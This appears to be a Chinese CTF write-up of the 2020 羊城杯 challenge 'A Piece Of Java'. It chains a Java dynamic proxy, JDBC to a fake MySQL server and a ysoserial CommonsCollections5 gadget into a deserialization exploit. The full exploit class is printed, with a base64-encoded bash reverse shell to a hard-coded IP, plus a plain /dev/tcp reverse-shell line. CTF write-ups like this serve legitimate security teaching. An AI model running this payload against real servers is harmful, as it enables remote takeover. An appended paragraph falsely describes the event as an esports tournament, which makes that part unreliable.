[羊城杯 2020]A Piece Of Java

[羊城杯 2020]A Piece Of Java

源码分析

将jar放进jd-gui中查看源码
在这里插入图片描述

主要看两个路由,index和hello,在/hello路由中,会对我们传入的cookie进行反序列化,这个cookie是我们可控的
在这里插入图片描述

而且这个cookie是由UserInfo类对象序列化得到的,跟进,我们发现源码中存在InfoInvocationHandler类,其含有invoke方法,且继承了InvocationHandler接口,所以到这里就可能是动态代理了

其实到这里反序列化,再加上cc链可以直接打,但是题目做了限制,在反序列化那里,有个SerialKiller
我们查看serialkiller.conf
在这里插入图片描述

正常的cc链中不只用到这些,需要用到其他的,所以不能直接打

注意看这个InfoInvocationHandler类中的invoke方法,有判断语句
在这里插入图片描述

然后再看DatabaseInfo类,其含有getAllInfo方法和checkAllInfo方法
在这里插入图片描述

所以我们可以通过代理,外部调用,触发invoke,然后跟进checkAllInfo,然后进入connect,连接恶意mysql服务端,通过恶意服务端来进行cc链的执行
调用链为

Info.getAllInfo()
  -->InfoInvocationHandler.invoke
    -->DatabaseInfo.checkAllInfo
      -->DatabaseInfo.connect()

从后往前测试,逐步写exp

从DatabaseInfo.connect()开始
我们看这个DatabaseInfo类的构造函数,发现它是通过很多方法来对类属性进行赋值,所以我们通过反射可以解决这个问题
这个类和成员变量是私有(private)的,不过成员方法都是public的
下面测试一下,测试成员变量的调用,以及成员方法的调用

package gdufs.challenge.web;

import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class exp {
    public static void main(String[] args) throws Exception{
        Info databaseInfo = new DatabaseInfo();
        Class c = databaseInfo.getClass();
        //改变成员变量
        Field usernamefield = c.getDeclaredField("username");
        usernamefield.setAccessible(true);
        usernamefield.set(databaseInfo,"sk1y");

        //调用成员方法
        Method getUsernameMethod = c.getMethod("getUsername");
        String a =(String) getUsernameMethod.invoke(databaseInfo);
        System.out.println(a);
    }

}

运行结果
在这里插入图片描述

我们可以写一个函数来代替反射的这些步骤

构造DatabaseInfo类对象

这里有好几种方法吧,本来是看那个成员变量是私有的,也可以通过getDeclaredField来进行赋值

    //通过getDeclaredField改变对象属性值
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    //主函数中调用
    Info databaseInfo = new DatabaseInfo();
    setFieldValue(databaseInfo,"username","admin");

然后DatabaseInfo类中成员方法都是共有的,所以也可以通过反射获取类的成员方法类进行赋值

   //通过getmethod来修改类对象的值
    public static void setField_method(Object obj,String methodname,Object value) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException {
        Method method = obj.getClass().getMethod(methodname, String.class);
        method.invoke(obj,value);
    }
    //主函数调用
	Info databaseInfo = new DatabaseInfo();
    setField_method(databaseInfo,"setUsername","root");

后来我发现,既然成员方法是共有的,那不是可以直接就使用成员方法进行赋值呗,(可恶啊,把基本的方法忘记了)
注意,通过直接调用成员方法的时候,定义类对象的时候用

DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("vps");

而不是

Info databaseInfo = new DatabaseInfo();

这波是自己憨批了。。。

InfoInvocationHandler

InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);

动态代理

//然后使用动态代理,我们代理的是databaseInfo,所以就要获取其类加载器和接口
        Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);

序列化

//序列化部分,参考MainController.java
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(info);
        oos.close();
        //将序列化结果输出
        System.out.println(Base64.getEncoder().encode(baos.toByteArray()));

exp

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws Exception{
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("vps");
        databaseInfo.setPort("7007");//恶意mysql服务端端口
        ///bin/bash -i >& /dev/tcp/vps/7015 0>&1   反弹shell监听的端口
//        databaseInfo.setUsername("yso_URLDNS_http://hud0xf.ceye.io");
        databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4LzcwMTUgMD4mMQ==}|{base64,-d}|{bash,-i}");
        databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        //System.out.println(databaseInfo.getUsername());
        Method getUsernameMethod = databaseInfo.getClass().getMethod("getUsername");
        String a =(String) getUsernameMethod.invoke(databaseInfo);
        //System.out.println(a);
//        Class c = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
        //创建一个InfoInvocationHandler类对象
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        //然后使用动态代理,我们代理的是databaseInfo,所以就要获取其类加载器和接口
        Info info =(Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
        //序列化部分,参考MainController.java
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(info);
        oos.close();
        //将序列化结果输出
        //这里的输出语句要注意不要使用System.out.println();
        System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }

}

恶意服务端

https://github.com/fnmsd/MySQL_Fake_Server

注意要将ysoserial-0.0.6-SNAPSHOT-all.jar包放在该目录下
然后修改server.py,因为我的3306已经占用了

进行DNS请求,恶意服务端这里有响应

在这里插入图片描述

恶意服务端有响应
在这里插入图片描述

构造反弹shell

/bin/bash -i >& /dev/tcp/vps/port 0>&1

在这里插入图片描述

然后监听处也会有回显
在这里插入图片描述

参考链接

  1. https://zhzhdoai.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFEasy-Java%E9%A2%98%E8%A7%A3/
  2. https://guokeya.github.io/post/t746TU6pM/
  3. https://blog.csdn.net/fmyyy1/article/details/122706761
  4. https://bbs.ichunqiu.com/thread-60356-1-1.html
羊城2020是一场年度的电子竞技赛事,为广大电竞爱好者提供了一个展示技术和激发激情的舞台。今年的羊城聚集了来自全国各地的顶尖电竞选手,他们在各个游戏项目中展现了高水平的操作和战术。 在比赛的文化氛围方面,羊城2020鼓励团队协作和竞争精神,这对于参赛选手来说是一个很好的机会展现自己的技术能力和团队合作能力。此外,组委会还积极倡导公平竞赛,严禁使用任何形式的作弊或不正当手段来获取胜利,从而保证了比赛的公正性。 羊城2020不仅是一场竞技比赛,还提供了丰厚的奖金和荣誉,吸引了众多顶尖选手参与其中。参赛选手们通过紧张刺激的比赛,展现了他们的技术实力和战术策略。同时,比赛也为电竞爱好者们提供了一个观赏比赛和学习经验的机会,让他们更好地了解电竞运动,提高自己的技术水平。 此外,羊城2020还注重了普及电竞文化的意义。比赛在各个媒体平台上进行直播,使更多的观众能够通过网络或电视观看比赛,增加了电竞的曝光度。通过各种推广活动,羊城2020吸引了更多非电竞爱好者的关注,提高了电竞在社会中的认可度和影响力。 总的来说,羊城2020是一场令人期待的电竞盛事,它不仅展示了顶尖选手们的实力和技巧,也推广了电竞文化并吸引了更多人的关注。这样的比赛将继续推动电竞行业的发展和壮大,为电竞爱好者们带来更多的精彩赛事和娱乐体验。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值